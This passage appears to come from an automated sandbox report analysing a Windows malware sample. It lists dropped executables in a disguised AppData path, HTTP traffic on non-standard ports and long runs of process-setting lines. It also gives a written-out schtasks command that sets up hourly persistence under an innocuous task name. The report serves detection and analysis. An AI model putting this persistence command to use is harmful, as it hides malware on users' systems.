Source: C:\Users\user\AppData\Local\Programs\Ruby\TemporaryFiles\Profiles\000001\41546afb898c8a377b77bce6d604d2e2\malnotify.exe	Code function: 26_2_00B6E3ED push ecx; retf	26_2_00B6E419
Source: C:\Windows\System32\notepad.exe	Code function: 32_2_0000004B97D2CE58 push eax; iretd	32_2_0000004B97D2CE59

Source: C:\Users\user\Desktop\0A7XTINw3R.exe	File created: C:\Users\user\AppData\Local\Programs\Ruby\TemporaryFiles\Profiles\000001\41546afb898c8a377b77bce6d604d2e2\winclock.exe			Jump to dropped file
Source: C:\Users\user\Desktop\0A7XTINw3R.exe	File created: C:\Users\user\AppData\Local\Programs\Ruby\TemporaryFiles\Profiles\000001\41546afb898c8a377b77bce6d604d2e2\malnotify.exe			Jump to dropped file

Boot Survival

Uses schtasks.exe or at.exe to add and modify task schedules

Source: C:\Users\user\Desktop\0A7XTINw3R.exe

Process created: C:\Windows\System32\schtasks.exe schtasks /create /tn RunUpdateNotificationSvc /tr \"C:\Users\user\AppData\Local\Programs\Ruby\TemporaryFiles\Profiles\000001\ddd06ef82d6d579523a798f429f6f5ae.bat\" /sc hourly /mo 3 /f

Hooking and other Techniques for Hiding and Protection

Uses known network protocols on non-standard ports

Source: unknown	Network traffic detected: HTTP traffic on port 49730 -> 56711
Source: unknown	Network traffic detected: HTTP traffic on port 56711 -> 49730
Source: unknown	Network traffic detected: HTTP traffic on port 49731 -> 56711
Source: unknown	Network traffic detected: HTTP traffic on port 56711 -> 49731
Source: unknown	Network traffic detected: HTTP traffic on port 49738 -> 56711
Source: unknown	Network traffic detected: HTTP traffic on port 56711 -> 49738
Source: unknown	Network traffic detected: HTTP traffic on port 49740 -> 56711
Source: unknown	Network traffic detected: HTTP traffic on port 56711 -> 49740
Source: unknown	Network traffic detected: HTTP traffic on port 49747 -> 65140
Source: unknown	Network traffic detected: HTTP traffic on port 49748 -> 65140
Source: unknown	Network traffic detected: HTTP traffic on port 49749 -> 65140
Source: unknown	Network traffic detected: HTTP traffic on port 49750 -> 65140
Source: unknown	Network traffic detected: HTTP traffic on port 49751 -> 65140
Source: unknown	Network traffic detected: HTTP traffic on port 49754 -> 56711
Source: unknown	Network traffic detected: HTTP traffic on port 65140 -> 49747
Source: unknown	Network traffic detected: HTTP traffic on port 65140 -> 49749
Source: unknown	Network traffic detected: HTTP traffic on port 65140 -> 49748
Source: unknown	Network traffic detected: HTTP traffic on port 65140 -> 49751
Source: unknown	Network traffic detected: HTTP traffic on port 49751 -> 65140
Source: unknown	Network traffic detected: HTTP traffic on port 65140 -> 49750
Source: unknown	Network traffic detected: HTTP traffic on port 65140 -> 49751
Source: unknown	Network traffic detected: HTTP traffic on port 56711 -> 49754
Source: unknown	Network traffic detected: HTTP traffic on port 49756 -> 65140
Source: unknown	Network traffic detected: HTTP traffic on port 49757 -> 56711
Source: unknown	Network traffic detected: HTTP traffic on port 49758 -> 56711
Source: unknown	Network traffic detected: HTTP traffic on port 65140 -> 49756
Source: unknown	Network traffic detected: HTTP traffic on port 49760 -> 65140
Source: unknown	Network traffic detected: HTTP traffic on port 56711 -> 49757
Source: unknown	Network traffic detected: HTTP traffic on port 56711 -> 49758
Source: unknown	Network traffic detected: HTTP traffic on port 49761 -> 56711
Source: unknown	Network traffic detected: HTTP traffic on port 65140 -> 49760
Source: unknown	Network traffic detected: HTTP traffic on port 56711 -> 49761
Source: unknown	Network traffic detected: HTTP traffic on port 49769 -> 65140
Source: unknown	Network traffic detected: HTTP traffic on port 49770 -> 65140
Source: unknown	Network traffic detected: HTTP traffic on port 49771 -> 65140
Source: unknown	Network traffic detected: HTTP traffic on port 49772 -> 65140
Source: unknown	Network traffic detected: HTTP traffic on port 49773 -> 65140
Source: unknown	Network traffic detected: HTTP traffic on port 65140 -> 49772
Source: unknown	Network traffic detected: HTTP traffic on port 65140 -> 49771
Source: unknown	Network traffic detected: HTTP traffic on port 65140 -> 49769
Source: unknown	Network traffic detected: HTTP traffic on port 65140 -> 49770
Source: unknown	Network traffic detected: HTTP traffic on port 65140 -> 49773
Source: unknown	Network traffic detected: HTTP traffic on port 49780 -> 65140
Source: unknown	Network traffic detected: HTTP traffic on port 49781 -> 65140
Source: unknown	Network traffic detected: HTTP traffic on port 49783 -> 65140
Source: unknown	Network traffic detected: HTTP traffic on port 49782 -> 65140
Source: unknown	Network traffic detected: HTTP traffic on port 49784 -> 65140
Source: unknown	Network traffic detected: HTTP traffic on port 49785 -> 65140
Source: unknown	Network traffic detected: HTTP traffic on port 65140 -> 49780
Source: unknown	Network traffic detected: HTTP traffic on port 65140 -> 49781
Source: unknown	Network traffic detected: HTTP traffic on port 49791 -> 65140
Source: unknown	Network traffic detected: HTTP traffic on port 49797 -> 65140
Source: unknown	Network traffic detected: HTTP traffic on port 65140 -> 49791

Source: C:\Users\user\Desktop\0A7XTINw3R.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Programs\Ruby\TemporaryFiles\Profiles\000001\41546afb898c8a377b77bce6d604d2e2\winclock.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Programs\Ruby\TemporaryFiles\Profiles\000001\41546afb898c8a377b77bce6d604d2e2\winclock.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Programs\Ruby\TemporaryFiles\Profiles\000001\41546afb898c8a377b77bce6d604d2e2\winclock.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\schtasks.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\schtasks.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\schtasks.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\schtasks.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\conhost.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\schtasks.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\schtasks.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\schtasks.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\schtasks.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\conhost.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\cscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\cscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\cscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Programs\Ruby\TemporaryFiles\Profiles\000001\41546afb898c8a377b77bce6d604d2e2\winclock.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\conhost.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Programs\Ruby\TemporaryFiles\Profiles\000001\41546afb898c8a377b77bce6d604d2e2\malnotify.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\schtasks.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\schtasks.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\schtasks.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\schtasks.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\conhost.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\schtasks.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\schtasks.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\schtasks.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\schtasks.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\conhost.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\cscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\cscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\cscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Programs\Ruby\TemporaryFiles\Profiles\000001\41546afb898c8a377b77bce6d604d2e2\malnotify.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\notepad.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\conhost.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
